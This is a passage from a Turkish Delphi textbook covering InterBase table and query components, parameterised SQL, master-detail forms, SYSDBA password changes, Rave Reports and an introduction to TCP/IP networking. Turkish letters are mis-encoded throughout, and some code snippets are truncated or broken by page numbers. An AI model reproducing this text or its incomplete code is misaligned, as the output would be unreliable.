kontrolleriyle çalıúıyormuú gibi gerçekleútirebilirsiniz. ùimdide bütün
iúlemlerimizi kodla yapaca÷ımız bir uygulama geliútirelim. Aúa÷ıdaki tasarımı
oluúturup gerekli kodları “Unit” pencerenize ekleyiniz.
257
Gerekli baúlantıları daha önce anlatıldı÷ı úekilde gerçekleútirip, ardından
aúa÷ıdaki kodları formunuza ekleyiniz.
//ølk Kayıt
begin
IBTable1.First;
end;
//Önceki Kayıt
begin
if not IBTable1.Bof Then //ølk Kayıt De÷ilse
IBTable1.Prior;
end;
//Sonraki Kayıt
begin
if not IBTable1.Eof Then
IBTable1.Next;
end;
//Son Kayıt
begin
IBTable1.Last;
end;
258
//Kayıt Ekle
begin
IBTable1.Insert;
end;
var
sil:Integer;
begin
sil:=Application.MessageBox('Silinsinmi','Sil',MB_YESNO);
if sil=mryes Then
begin
IBTable1.Delete;
end
else
ShowMessage('Silma øúlemi øptal Edildi');
end;
//Uygula
begin
IBTable1.Post;
end;
//øptal Et
begin
IBTable1.Cancel;
end;
//Güncelle
begin
IBTable1.Refresh;
end;
var
ara:Boolean;
begin
if Key=#13 Then//Enter tuúuna basarsa
begin
ara:=IBTable1.Locate('MAGAZAADI',Edit1.Text,[loCaseInsensitive]);
if not ara Then
259
end;
end;
//Filtrele
begin
IBTable1.Filter:='MAGAZAADI='+QuotedStr(Edit2.Text);
IBTable1.Filtered:=true;
end;
//Filtreyi øptal Et
begin
IBTable1.Filtered:=false;
end;
Uygulamayı çalıútırdıktan sonraki ekran görüntüsü yukarıda verilmiútir.
Neredeyse kullanabilece÷iniz genel komutların tamamı verilmeye çalıúılmıútır.
260
IBQuery Kontrolü:
Bu kontrol sayesinde “InterBase” veri tabanı içerisinde oluúturmuú oldu÷unuz
tabloları kolayca sorgulayabilirsiniz. “BDE” Kontrolleri içerisinde yer alan
“Query” kontrolüne benzer bir mantıkla çalıúmaktadır. Aúa÷ıda bu kontrole has
özellikle verilmektedir.
x IBQuery1.Database
Sorgulayaca÷ınız tablonun içerisinde yer aldı÷ı veri tabanını aktarabilece÷iniz
özelli÷idir.
begin
IBQuery1.Database:=IBDatabase1;
end;
x IBQuery1.Close
IBQuery kontrolünü kapatan methoddur. Bu iúlemden sonra ba÷lı olan tüm
kontrollerdeki kayıtlar temizlenecektir.
begin
IBQuery1.Close;
end;
x IBQuery1.Open
IBQuery kontrolüne ait sorgu komutlarını aktifleútiren methoddur.
begin
IBQuery1.Open;
end;
x IBQuery1.Transaction
Transaction iúlemi için kullanılacak olan kontrolü atayaca÷ınız özelli÷idir.
Zorunlu oldu÷unu unutmayınız.
261
begin
IBQuery1.Transaction:=IBTransaction1;
end;
x IBQuery1.SQL.Add
Tabloyu sorgulayacak olan SQL komutlarını belirleyece÷iniz methoddur.
begin
IBQuery1.Close;
IBQuery1.SQL.Add('Select * From SERVIS');
IBQuery1.Open;
end;
InterBase Tablolarını Parametre øle Sorgulamak:
Uygulamalarda ço÷u durumda kullanıcının istedi÷i kayıtları listelemek
durumunda kalacaksınız. Bu yüzden programın içerisinde kullanaca÷ınız bir
veya daha fazla parametre de÷erini sorgu parametresi olarak tabloya göndermek
zorunda kalacaksınız.
x IBQuery1.SQL.Clear
Daha önce yaratılmıú olan tüm parametreleri temizlemek için kullanılan
methoddur. Bu komutun yerine “Close” u kullanamazsınız çünkü “Close”
methodu “Query” yi kapatır, parametreleri temizlemez.
x IBQuery1.Params[]
Sorgu sonucu yaratılan parametrelere de÷er göndermek için kullanılan
methoddur. ølk parametrenin index numarası “0” ikincininse “1” dir.
begin
IBQuery1.SQL.Clear;
IBQuery1.SQL.Add('Select * From SERVIS Where MAGAZAADI=:MAG');
262
IBQuery1.Params[0].AsString:=Edit1.Text;
IBQuery1.Open;
end;
Parametre gönderme iúlemini daha iyi anlamak için aúa÷ıdaki tasarımı oluúturup,
uygun olan kodları formunuza ekleyiniz.
begin
IBQuery1.Close;
IBQuery1.SQL.Add('Select * From SERVIS');
IBQuery1.Open;
end;
begin
IBQuery1.SQL.Clear;
IBQuery1.SQL.Add('Select * From SERVIS Where MAGAZAADI=:MAG');
IBQuery1.Params[0].AsString:=Edit1.Text;
IBQuery1.Open;
end;
Programı çalıútırdıktan sonra “Edit” kutusuna listelemek istedi÷iniz ma÷aza
ismini girip “Button” kontrolüne tıklayınız. Sadece yazmıú oldu÷unuz ma÷aza
ismine ait servis kayıtlarının listelendi÷ini göreceksiniz. En son form görüntüsü
263
InterBase Kontrolleri Kullanarak Master Detail Form Oluúturmak:
Daha önce “BDE” ve “ADO” kontrolleriyle gerçekleútirdi÷imiz “Master-Detail”
form yapısını “InterBase” kontrollerini kullanarak oluúturaca÷ız. Aúa÷ıdaki
adımları izleyiniz.
Formunuzun üzerine bir adet “IBDatabase” kontrolü yerleútirip
“DataBaseName” özelli÷ine “c:\gazi\prestige.gdb” dosyasını aktarın (daha
önceki bölümde oluúturdu÷umuz InterBase veritabanı).
økinci adımda formunuza bir adet “IBTransaction” kontrolü yerleútirerek
“DefaultDataBase” özelli÷ine “IBDataBase1” kontrolünü aktarın.
Üçüncü adım formunuza bir adet “IBTable” kontrolü yerleútirerek
“DataBase” özelli÷ine “IBDataBase1”, “Transaction” özelli÷ine
“IBTRansaction1” ve “TableName” özelli÷inede “MAGAZA” (úifre
soracaktır “sysdba” ve “masterkey” de÷erlerini girin) ismini aktarın.
Dördüncü adımda “DataAccess” yapra÷ında yer alan “DataSource”
kontrolünden bir adet formunuza sürükleyip, “DataSet” özelli÷ine
“IBTable1” kontrolünü aktarın.
Beúinci adımda “DataControls” yapra÷ında yer alan “DBGrid” kontrolünü
formunuzun üzerine sürükleyip “DataSource” özelli÷ine “DataSource1”
de÷erini giriniz.
Altıncı adımda “IBTable” kontrolünü seçip “Active” özelli÷ini “true”
yapın. Bu adımla master tabloya ait tüm iúlemleri yapmıú olduk. Buradan
sonraki kısımda ise Detail (SERVIS) tablosuna ait iúlemleri
Yedinci adımda formunuza ikinci bir “IBTable” kontrolü yerleútirin. Bu
kontrole ait “DataBase” özelli÷ine “IBDataBase1”, “Transaction”
özelli÷ine “IBTransaction1” ve “TableName” özelli÷ine “SERVIS”
ismini aktarınız.
264
Sekizinci adımda formunuza “DataSource2” nesnesi yerleútirerek
“DataSet” özelli÷ine “IBTable2” kontrolünü aktarınız.
Dokuzuncu adımda formunuza ikinci bir “DBGrid” nesnesi yerleútirerek
“DataSource” özelli÷ine “DataSource2” kontrolünü aktarınız.
Onuncu adımda “IBTable2” kontrolünü seçip “MasterSource” özelli÷ine
“DataSource1” de÷erini aktarıp “MasterFields” özelli÷ine tıklayın.
øliúkilendirilecek olan tablolardaki iki sütunu (MAGAZAADI) seçip
“Add” dü÷mesine tıklayınız. øliúkiniz “Joined Fields” listesine
eklenecektir.
ùimdi iki tablo için kayıt iúlemlerini gerçekleútirmek üzere formunuza iki
adet “DBNavigator” kontrolü yerleútiriniz. Birinci “DBNavigator”
kontrolünün
“DataSource”
özelli÷ine
“DataSource1”,
ikinci
“DBNavigator” kontrolünün “DataSource” özelli÷inede “DataSource2”
kontrollerini aktarın.
Son olarak iki adet “IBTable” kontrolünün “Object Inspector”
penceresinden “Active” özelliklerine true de÷erini aktararak uygulamanızı
Adım adım gerçekleútirdi÷imiz iúlemlerin tamamını “Unit” penceresinden de
kodla halledebilirsiniz. Tercih tamamen programcıya kalmıútır.
Burada yeri gelmiúken bir hatırlatma yapalım. øki tabloya ba÷lanmamıza ra÷men
tek “IBDataBase” ve yine tek “IBTransaction” kontrolü kullandık. Do÷ru bir
karardır, her tablo için yeni bir “IBDataBase” kontrolü yerleútirmenize gerek
yoktur. Uygulamanızı çalıútırdıktan sonraki ekran görüntünüz aúa÷ıda
verilmiútir.
265
Üstteki tabloda yer alan kayıtlar üzerinde gezinti yaptı÷ınız zaman alttaki tablo
bu iúten otomatik olarak etkilenecek, o ma÷azaya ait servis kayıtlarını
listeleyecektir.
BDE Kontrolleriyle InterBase Veri Tabanına Ba÷lanmak:
Dilerseniz InterBase Veri Tabanı içerisinde oluúturdu÷unuz tablolara “BDE”
Kontrollerini kullanarak ta ba÷lanabilirsiniz. Bu iúlemi yapabilmeniz için “Start>Settings->Control Panel->BDE Administrator” adımlarını izleyerek alias ınızı
tanımlamalısınız. Ardından bu aliasa veri tabanınızın bulundu÷u yolu dosya
ismiyle beraber atamalısınız (SERVERNAME özelli÷ine c:gazi\prestige.gdb).
Bu aúamadan sonra formunuza ekleyece÷iniz “BDE” yapra÷ında yer alan
“Table”, “DataSource” ve “DBGrid” kontrollerini kullanarak InterBase
tablolarınıza kolayca ba÷lanabilirsiniz.
Formunuza bir adet “BDE” yapra÷ında yer alan “Table” nesnesi
sürükleyip bırakın. Ardından bu kontrole ait “DataBaseName” özelli÷ine
“InterBase” tablolarının yer aldı÷ı veritabanını referans gösteren
aliasınızın ismini atayın.
økinci adımda aynı kontrole ait “TableName” özelli÷ine tıklayarak (úifre
soracaktır “sysdba” ile “masterkey” de÷erlerini girin) ba÷lanaca÷ınız
tabloyu seçin (biz MAGAZA tablosunu seçtik).
266
Üçüncü adımda formunuza bir adet “ DataSource” kontrolü sürükleyerek
“DataSet” özelli÷ine “Table1” kontrolünü aktarın.
Son olarak formunuza bir adet “DBGrid” ile bir adet “DBNavigator”
kontrolü ekleyerek “DataSource” özelliklerini “DataSource1” yapın.
Tablonuzun “Active” özelli÷ini true yaptıktan sonra uygulamanızı
çalıútırınız.
Gördü÷ünüz úekilde “InterBase” tablolarına “BDE” Kontrolleriyle de basitçe
ba÷lanabilirsiniz. Di÷er iúlemler aynen geçerli olacaktır.
“SYSDBA” Kullanıcısına Ait ùifreyi De÷iútirmek:
InterBase Veri Tabanı ile çalıúmaya karar verdi÷iniz zaman ilk yapmanız
gereken iúlem yönetici úifresini de÷iútirmek olmalıdır. InterBase’i kurdu÷unuz
zaman Kullanıcı adı “sysdba” úifreside “masterkey” olarak belirlenmektedir.
Bütün bilgisayarlarda aynı úifre kullanıldı÷ı için kesinlikle de÷iútirilmelidir
(yoksa herkes aynı yetkiyle programı kullanabilir). Yönetici úifresini
de÷iútirebilmek için aúa÷ıdaki adımları izlemelisiniz.
InterBase Server i çalıútırıp “IBConsol” seçene÷ini tıklayın.
“Local Server” üzerinde mousun sa÷ tuúuna tıklayarak “Login”
ùifre soracaktır “sysdba” ile “masterkey” de÷erlerini sırasıyla girin.
“VeriTabanınız üzerinde mousun sa÷ tuúuna tıklayarak “Connect”
Veri Tabanınıza ait tüm seçenekler listelenecektir. Bu seçenekler
içerisinde yer alan “Users” bölümüne tıklarsanız aúa÷ıdaki pencere ile
karúılaúırsınız.
267
Solda yer alan pencereden “Users” seçene÷ini seçerseniz “InterBase”
tablolarına eriúebilecek olan tüm kullanıcıları listeleyebilirsiniz.
Henüz baúka hiçbir kullanıcı tanımlanmadı÷ı için bu bölümde sadece
“SYSDBA” kullanıcısı tanımlı olarak gözükecektir. Tabloları sadece bu
kullanıcının açabilmesinin sebebi budur.
ùimdi bu kullanıcıyı seçip mousun sa÷ tuúuna tıklayın aúa÷ıda gösterildi÷i
gibi basit bir menü açılacaktır.
Açılan pencereden “Modify User” seçene÷ini seçerek bu kullanıcıya ait
úifreyi de÷iútirebilece÷imiz aúa÷ıdaki pencerenin açılmasını sa÷layın
(“Add User” i seçerseniz yeni bir kullanıcı yaratırsınız, bu husus birazdan
anlatılacaktır).
268
Açılan bu pencerede diledi÷iniz kadar yeni kullanıcı yaratabilirsiniz. Bu
úekilde tüm kullanıcılar yarattıkları tablolara (veya view procedure)
ba÷lanacaktır.
“User Name” kısmından “SYSDBA” kullanıcısı seçiliyken “Password” ve
“Confirm Password” kutularına yeni úifrenizi giriniz (ikiside aynı olacak).
“Apply” dü÷mesine tıklayarak yeni úifreyi onaylayın.
Yaptı÷ımız iúlemin sonucunu görmek için yeni úifrenizle (kullanıcı adı
yine “sysdba” olacak) Delphi uygulamasından tablolarınıza ba÷lanmayı
deneyin.
Yeni Kullanıcılar Tanımlamak:
Yeni yarataca÷ınız kullanıcılarla oluúturaca÷ınız tabloların tüm yetkisi
kendisinde olaca÷ı için farklı kullanıcı isimleriyle de÷iúik tablolar yaratmak
ba÷lantı iúlemleri için önem arz edecektir. Bu úekilde herkes kendisi ile ilgili
tablolara eriúip gerekli de÷iúiklikleri yapabilecektir. Aúa÷ıda yeni kullanıcıları
nasıl tanımlayabilece÷iniz gösterilmektedir.
Yukarıdaki ekranda “Users” seçili iken “Server->User Security” seçeneklerini
izleyin. Aynı pencere açılacaktır. Bu pencerede yeni kullanıcı adını úifresini ve
kullanıcıyı tanıtacak bilgileri girebilirsiniz.
“NDEMIRLI” kullanıcısı yaratıldıktan sonraki “IBConsol” görüntüsü aúa÷ıda
verilmiútir.
269
270
BÖLÜM 10
RAVE KONTROLLERø
øLE
RAPOR DOSYASI OLUùTURMAK
271
272
Rave Kontrollerini Kullanarak Rapor Oluúturmak:
Daha önceki bölümlerde “QuickRep” kontrollerini kullanarak rapor oluúturmayı
göstermiútik. Bu bölümde Yeni versiyonla gelen (hakikaten çok kuvvetli
oldu÷unu söyleyebilirim) ve büyük olasılıkla “QuickRep” kontrollerinin
pabucunu dama atacak bir yapı ile ilgilenece÷iz.
Rave kontrolleri ile çok kolay ve estetik raporlar oluúturmanız mümkün.
Bilhassa wizard yönü çok güçlü, neredeyse hiç kod kullanmadan her türlü rapor
çıktısı alabilmekteyiz. Aúa÷ıdaki adımları izleyerek “Rave” kontrolleriyle rapor
dosyaları oluúturabilirsiniz.
Birinci adımda formunuzun üzerine yazdıraca÷ınız tablo bilgilerine
ulaúmak için “BDE” yapra÷ında bulunan “Table” (di÷er kaynaklarıda
kullanabilirsiniz) kontrolünü sürükleyin. “DataBaseName” (gazi) ve
“Table Name” (servis) özelliklerine tablonuza ait bilgileri girin.
økinci
adımda
formunuza
“Rave”
yapra÷ında
yer
alan
“RvDataSetConnection” kontrolünü sürükleyin (bu kontrol rapor ile
tablo arasındaki ba÷lantıyı sa÷layacak). Bu kontrole ait “DataSet”
özelli÷ine table nesnenizi aktarın (yazdırılacak kayıtlar belirlendi).
Üçüncü adımda “Tools->Rave Designer” seçeneklerini seçerek raporun
tasarımını oluúturaca÷ınız aúa÷ıdaki pencereyi açtırın.
Rapor dosyasına ait tasarımı bu ekranda oluúturaca÷ız (yine bir ço÷unu
kendisi yapacak).
273
“Rave Report 5.0” penceresi açıkken “File-New DataObject” menü
adımlarını izleyerek aúa÷ıdaki pencerenin açılmasını sa÷layın.
“Data Connections” penceresi içerisinde “Direct Data View” seçene÷ini
seçerek “Next” dü÷mesine tıklayın. Aúa÷ıdaki pencere açılacaktır.
Bu pencere tablo kayıtlarını gösteren “RvDataConnection” nesnelerini
(forma alınan) listeleyecektir. Siz ilgili olan (birden fazlada olabilirdi)
“RvDataConnection” seçene÷ini seçerek “Finish” dü÷mesine tıklayın.
“Finish” dü÷mesine tıkladıktan sonra “Rave Reports 5.0” penceresine
tekrar döneceksiniz.
Bu pencerenin sa÷ tarafında yer alan “RaveProject” bölümüne dikkat
edin. Alt adımlarında yer alan “DataView Dictionary” seçene÷ine
tıklayarak “DataView1” sekmesini de açtırın.
274
Yapmıú oldu÷unuz ba÷lantı sonucunda tablonuzda yer alan tüm sütun
baúlıkları bu pencerede listelenecektir.
ùümdi “Tools->Report Wizard->Simple Table” menü adımları izleyerek
aúa÷ıdaki pencereyi açtırın.
“Simple Table” penceresi ba÷lantı kuraca÷ınız tablo kayıtlarını
belirlemenizi sa÷layacak olan ekrandır. Birden fazla “Table” ile ba÷lantı
sa÷layabilece÷iniz için bu pencerede ki “DataView” seçenekleri fazla
olabilir.
Kayıtlarınızın gösterildi÷i “DataView” seçene÷ini seçerek “Next”
dü÷mesine tıklayın.
Aúa÷ıdaki pencere açılacaktır. Bu pencereden raporunuzda göstermek
istedi÷iniz sütunların isimlerini seçmenizi isteyecektir. “All” dü÷mesine
275
tıklayarak tamamını veya teker teker sütun isimlerine tıklayarak
diledi÷iniz sütunları raporunuzda gösterebilirsiniz.
“Next” dü÷mesine tıklayarak bir sonraki adıma geçin. Aúa÷ıdaki pencere
açılacaktır. Bu pencereden sütunlarınızın rapor üzerindeki yerlerini
ayarlayabilirsiniz.
Pencerenin üst kısmında yer alan ok tüúlarıyla sütun baúlıklarınızı yukarı
veya aúa÷ı do÷ru hareket ettirebilirsiniz. “Next” dü÷mesine tıklayarak bir
sonraki aúamaya geçiniz.
276
Aúa÷ıdaki pencere açılacaktır. Bu pencereden Raporunuzun baúlı÷ı ile
sayfa kenar boúluklarını ayarlayabilirsiniz.
“Next” dü÷mesine basarak bir sonraki adıma geçin. Aúa÷ıdaki pencere
açılacaktır. Bu pencereden raporunuza ait bölümler için biçim ayarlarını
yapabilirsiniz (Her bölüm için farklı olabilir).
“Baúlık” ayarlarını “Title Font” kısmından sütun etiket isimlerini
“Caption Font” kısmından ve kayıtlarınızla ilgili font ayarlarını “Body
277
Font” kısmından yaparak “Generate” dü÷mesine tıklayın. Rapor
tasarımınız “Rave Reports” penceresinde oluúacaktır.
Son adım olarak oluúturdu÷unuz bu raporu “File->Save” menülerini
izleyerek kaydedin. Bu dosyalar “rav” uzantılı olarak saklanacaktır
(Oluúturdu÷unuz bu dosyayı projenizin bulundu÷u klasörün içerisine
kaydederseniz,programınızı di÷er bilgisayarlara yükledi÷iniz zaman
oluúabilecek problemlerin bir ço÷unu halletmiú olacaksınız).
Programdan Rapor Dosyalarına Ulaúmak:
Delphi uygulamalarından oluúturmuú oldu÷unuz “rav” uzantılı rapor dosyasına
ulaúmak için “Rave” yapra÷ında yer alan “RvProject” kontrolüne ait “Execute”
methodundan faydalanmalısınız. Aúa÷ıda bu adımlar sırasıyla anlatılmaktadır.
Birinci adımda formunuza bir adet “Rave” yapra÷ında yer alan
“RvProject” kontrolü yerleútirin.
økinci adımda bu kontrole ait “ProjectFile” özelli÷ine tıklayarak daha
önce kaydetmiú oldu÷unuz “rav” uzantılı dosyayı bulun.
Son adım olarak aúa÷ıdaki kod satırını formunuza eklemiú oldu÷unuz
button kontrolünün “OnClick” yordamına ekleyiniz.
//Yazdır Penceresini Aç
begin
RvProject1.Execute;
end;
278
ùimdi uygulamanızı çalıútırın. Button kontrolüne tıklarsanız “Yazdırma iúlemini
yaptıracak olan aúa÷ıdaki “Output Options” penceresi açılacaktır.
“Output Options” penceresinde “Print” i iúaretleyip “OK” basarsanız raporunuz
yazıcıya gönderilecektir. ùayet baskı önizleme ekranına ulaúmak isterseniz, o
zaman “Preview” seçene÷ini seçerek “OK” buttonuna tıklayınız. Ekran
görüntünüz aúa÷ıdaki úekilde gerçekleúecektir.
279
Sütun De÷erleri øle Hesap Yapmak:
Yukarıda oluúturdu÷umuz rapora ait sayısal sütun de÷erleriyle matematiksel
hesaplar yapabilirsiniz. Aúa÷ıda bu husus adım adım izah edilmektedir.
Birinci adımda raporunuza “Report” yapra÷ında yer alan
“BandComponent” kontrolünden bir adet yerleútirin. “Band1” ismiyle
raporunuza dahil olacaktır.
Mous ile bu bandı seçip özellikler penceresinden “BandStyle” özelli÷ine
tıklayın aúa÷ıdaki pencere açılacaktır.
“Band Style Editor” penceresinde “Body Footer” CheckBox” ını
iúaretleyerek “OK” dü÷mesine basınız.
Bu adımda “Report” yapra÷ında yer alan “Calc Text Component”
kontrolünden bir adet bu bandın üzerine çizin.
“Calc Text Component” kontrolüne ait özellikler penceresinden
“DataView” özelli÷ine “DataView1” kontrolünü, “DataField” özelli÷ine
de “FATURATUTARI” sütununu aktarın.
Son olarak “Calc Text Component” kontrolüne ait “Controller”
özelli÷ine “DataView1DataBand” de÷erini aktarın. Son özellik hangi
banda ait oldu÷unu belirlemek için ayarlandı.
Artık uygulamanızı çalıútırabilirsiniz. Button kontrolüne tıkladı÷ınız
zaman oluúacak rapor görüntünüz aúa÷ıda verilmiútir.
280
Görüldü÷ü gibi “FATURATUTARI” sütununa ait hücre de÷erleri toplanıp
eklemiú oldu÷umuz yeni bileúende kullanıcıya gösterilmiútir.
Hesaplanan Sütunlara Ait Biçimlendirme øúlemleri:
Yukarıdaki raporda dikkat etiyseniz parasal bir hesap iúlemi yaptırıldı, fakat
sonuç hiç anlaúılır de÷il. Bu yüzden úimdi gerçekleútirece÷imiz yöntemle bu
de÷eri parasal formatta yazdıraca÷ız.
Birinci adımda “Standart” yaprakta yer alan bir adet “Text Component”
kontrolünü toplam aldırılan kontrolün soluna yerleútirerek “Text”
özelli÷ine “Toplam Fatura Tutarı” içeri÷ini aktarın (etiket görüntüsü için
yapıldı).
økinci adımda “Calc Text Component” kontrolünü seçip
“DisplayFormat” özelli÷ine “###,###,### TL” içeri÷ini aktarın.
Kontrolünüzün içeri÷i parasal formata dönüúecektir.
Yapmıú oldu÷unuz tüm de÷iúikliklerden sonra, “File->Save” komutunu
verip de÷iúikliklerin “rav” uzantılı dosyanıza yansımasını sa÷layınız. Aksi
takdirde sonuçlar istedi÷iniz gibi oluúmayacaktır.
Programı çalıútırıp “Yazdır” dü÷mesine tıklarsanız rapor görüntünüz aúa÷ıdaki
úekilde, parasal de÷erlerin formatlanmıú halde oluútu÷u bir görüntü halini
alacaktır.
281
“Calc Text Component” Kontrolü ile Yapılabilecek Di÷er Hesaplamalar:
Sütun toplamını aldırdı÷ınız bu kontrol ile tüm sütun de÷erleriyle ilgili
“ortalama - max-min-Count” iúlemlerini de yaptırabilirsiniz. “Calc Text
Component” kontrolünü seçip “Calc Type” özelli÷ine tıklarsanız di÷er
seçeneklerine ulaúabilirsiniz. Tüm seçenekler aúa÷ıda tablo halinde verilmiútir.
Calc Type
øúlem
ctSum
Sütuna Ait Toplam De÷eri Hesaplar
ctCount
Satır Syısını Hesaplar
ctMax
Sütuda Yer Alan Maximum De÷eri Hesaplar
ctMin
Sütuda Yer Alan Minimum De÷eri Hesaplar
ctAverage
Sütun De÷erlerinin Ortalamasını Hesaplar
Kayıtları Altı Çizili Hale Getirmek:
“Drawing” yapra÷ında yer alan “Hline” kontrolünü kullanarak kayıtlarınızın
altına çizgi çekebilirsiniz.
282
Bu kontrolden bir adet “DataView1DataBand” sütununa çizip uygulamanızı
çalıútırınız.
Sütun baúlıklarının altında yer alan çizgi nin “LineWidth” de÷eri “3” yapıldı÷ı
için daha kalın basılmaktadır.
Koúula Uyan Kayıtların Raporunu Oluúturmak:
Bir çok durumda tabloda yer alan kayıtların tamamını de÷ilde belirtti÷iniz
kritere uyan kayıtları raporlamak isteyeceksiniz (mesela sadece migros
ma÷azasına ait kayıtları listele vs). Bu tip durumlar için “Query” kontrolünü
(veya “Stored Procedure”) kullanmak en uygun yöntem olacaktır. ùimdi sizlere
adım adım koúullu rapor oluúturma iúlemini anlataca÷ım.
Birinci adımda formunuza bir adet “BDE” yapra÷ında yer alan “Query”
økinci adımda “Query” kontrolünüzün “DataBaseName” özelli÷ine
tablonuzun yer aldı÷ı aliasın ismini aktarın (gazi)
Üçüncü adımda “Query” kontrolüne ait “SQL” özelli÷ine “Object
Inspector” penceresinden aúa÷ıdaki sorgu komutlarını aktarın.
283
Dördüncü adımda formunuza “Rave” yapra÷ında yer alan
“RvDataSetConnection” kontrolünden bir adet sürükleyip “DataSet”
özelli÷ine “Query1” kontrolünü aktarın.
Beúinci adımda “Tools->Rave Designer” menü adımlarını izleyerek
“Rave Reports” penceresini açtırın.
Altıncı adımda “File->New Data Object” menülerini izleyerek daha önce
önceki örnekte açmıú oldu÷umuz “DataConnections” penceresine ulaúın.
Yedinci adımda “Direct Data View” seçene÷ini seçerek bir sonraki
pencereye geçin.
Sekizinci adımda yeni açılan pencereden “RvDataSetConnection” ismini
seçerek “Finish” dü÷mesine basın. Tüm sütun isimlerinizin listeye
eklenmiú olması gerekecektir.
Dokuzuncu adımda “Tools->Report Wizard->Simple Table”
seçeneklerini izleyerek “Simple Table” penceresinde yer alan
“DataView” ismini seçip bir sonraki adıma geçiniz.
Onuncu adımda, açılan yeni pencereden raporunuzda yer almasını
istedi÷iniz sütunları seçmeniz gerekecektir. Seçip bir sonraki pencereyi
açtırın (tüm sütunları seçebilirsiniz).
Onbirinci adımda, açılan yeni pencereden sütun yerlerinizi belirleyip bir
sonraki pencereyi açtırın.
Onikinci adımda rapor baúlı÷ınız ile sayfa kenar boúluklarını ayarlayıp bir
sonraki pencereye ulaúınız.
On üçüncü adımda, açılan yeni pencereden daha önce gösterildi÷i úekilde
font ayarlarınızı yaparak “Generate” dü÷mesine basınız.
Raporunuzun “rav” uzantılı dosyası oluúturulmuú oldu. Kaydedebilirsiniz.
“File->Save” menülerini izleyerek dosyanızı kaydedin.
284
On beúinci adımda formunuza bir adet “Rave“ yapra÷ında yer alan
“RvProject” kontrolü yerleútirerek “FileName” özelli÷ine kaydetti÷iniz
“rav” uzantılı dosyanın yerini gösterin.
On altıncı adımda “Query” kontrolünü seçip “Active” özelli÷ini “true”
yapın.
Son Olarak aúa÷ıdaki tasarımı oluúturup gerekli kodları “Unit”
pencerenize ekleyiniz.
begin
Query1.SQL.Clear;
Query1.sql.Add('Select * From SERVIS Where MAGAZAADI=:MAG');
Query1.Params[0].AsString:=Edit1.Text;
Query1.Open;
RvProject1.Execute;//Raporu aç
end;
Programı çalıútırıp “Edit” kutusuna “MIGROS” yazıp button kontrolüne
tıklayın. Sadece “MIGROS” ma÷azasına ait kayıtlar raporunuzda gözükecektir.
285
286
BÖLÜM 11
NETWORK PROGRAMCILIöI
287
288
Network Programcılı÷ına Giriú:
Bu Bölümde a÷ uygulamaları üzerinde durulup gerekli açıklamalar yapılacaktır.
Günümüzde küçük ölçekli firmalar bile úirket içi kullanımları için network
ortamından faydalanmaktadır. Dolayısıyla bir kullanıcının girdi÷i bilgi di÷er
bilgisayar tarafından anında kullanılmak istenmektedir. Bu tip durumlar için a÷
deste÷i olan, port iúlemlerini (dinleme veya gönderme) yapabilen uygulamalar
geliútirmek zorunda kalacaksınız. Amacımız sizlere bahsetti÷imiz konularda
yardımcı olmaktır.
Bilgisayarların birbirleriyle haberleúebilmeleri için (insanların da öyle
de÷ilmidir) ortak kullanabilecekleri bir dile ihtiyaç duyarlar. Bu olaya ortak
protokol kullanımı ismini veriyoruz. Protokoller içerisinde Internet (buda en
büyük a÷ ortamıdır) tede kullanılabilen “TCP/IP” en popüler olanıdır. Giden
veri ile kaynak arasında kıyaslama yaptı÷ı için biraz a÷ır ama güvenli bir
protokoldür. Internetin de tek kullanabildi÷i protokol budur. O zaman úöyle bir
teori geliútirebiliriz, yapaca÷ınız uygulamalarda “TCP/IP” protokolünden
faydalanan kontrolleri kullanırsanız, uygulamanızı internet üzerinden de
çalıútırabilirsiniz. Di÷er protokoller den (“UDP” vs) “TCP/IP” ye göre daha hızlı
fakat güvenli olmayan bir protokoldür.
Bizim uygulamalarımızda internet te düúünüldü÷ü için tamamı “TCP/IP”
protokolünü kullanan nesneler tarafından gerçekleútirilecektir. Aynı iúlemi di÷er
protokollerle gerçekleútiren seçenekleriniz olacak, onları çözme iúlemini de
sizlere bırakıyoruz (sonuçta kullanılan mantık aynı olacaktır).
A÷ deste÷i olan programlarda dikkat edece÷iniz hususlar bulunmaktadır.
Bunlardan birincisi kayıtlarla ilgili iúlemlerinizi muhakkak transaction
kullanarak gerçekleútirin. Size aúırı derecede güvenlik sa÷layacaktır. økincisi
farklı nesnelerle aynı port üzerinden kesinlikle iúlem yaptırmayın (eninde
sonunda sıkıntı yaúayacaksınız). Üçüncüsü e÷er gerekmiyorsa Server üzerinden
“OnLine” çalıúmayın (bu size hız kazandıracaktır). Dördüncüsü, úayet
uyglamanız internete açılacaksa muhakkak “STATIC IP” numarası aldırın
(internet servis sa÷layıcınıza baúvurmanız yeterli olacaktır).
“TCP/IP” Kullanarak geliútirece÷iniz uygulamaları internet üzerinden (statik ip
nin bulunmadı÷ı durumlarda) arkadaúınızla deneyecekseniz, yapmanız gereken
iúlem internete ba÷landıktan sonra di÷er telefonla (tabi varsa, yoksa cebinizi
kulanın) arkadaúınıza “IP” numaranızı bildirmek olmalıdır. Yetki sorununu aúıp
di÷er bilgisayarın “IP” numarasını da biliyorsanız o bilgisayara yapamıyaca÷ınız
hiç bir iúlem yok demektir. Kendi makinenizmiú gibi kullanabilirsiniz (bu husus
örneklendirilecektir).
289
TCP/IP Protocollerine Genel Bir Bakıú:
Bu bölümdeki amacım sizlere network dersi anlatıp canınızı sıkmak de÷il,
Network hususunda bilgili de÷ilseniz direk di÷er konulara geçebilirsiniz.
ùayet network programcısı olaca÷ım biraz bilgim artsın diyorsanız o zaman
izahatlarıma biraz kulak vermenizi öneririm.
“TCP/IP” ana hatlarıyla iki adet protokolden oluúmaktadır (alt ufak protokoller
hariç). Birincisi “TCP” olarak adlandırdı÷ımız
“Transmission Control
Protocol”, ikincisi ise “IP” olarak adlandırdı÷ımız “Internet Protocol” ünden
ibarettir. ùimdi sizlere bu protokollerin ana mantı÷ı hususunda bilgi vermeye
çalıúaca÷ım.
Bilgisayarlar arası veri transferi iúleminde süreklili÷i, bilgi veya donanım
paylaúımını sa÷lamak üzere oluúturulan network-a÷ ortamlarında iletiúim
protokol olarak adlandırılan yazılımlarla sa÷lanmaktadır. “TCP/IP” veri
transferine olanak sa÷layan pek çok alt protokolü içerisinde barındıran bir takım
ada gibidir. Gerek internet ortamında (WAN-Wide Area Network), gerekse
yerel a÷ (LAN – Local Area Network) yapısında geniú bir kullanım alanına
sahip olup tabiri caizse günümüz dünyasında insanlar arası iletiúimde ingilizce
nin üstlendi÷i rolün bir benzerini, bilgisayarlar arası iletiúimde üstlenmektedir.
“TCP/IP” ile konfigürasyonu yapılmıú bir a÷ ortamında , bilgisayarların
tanımlanabilmesi için úu özelliklerin bilinmesi yeterli olacaktır.
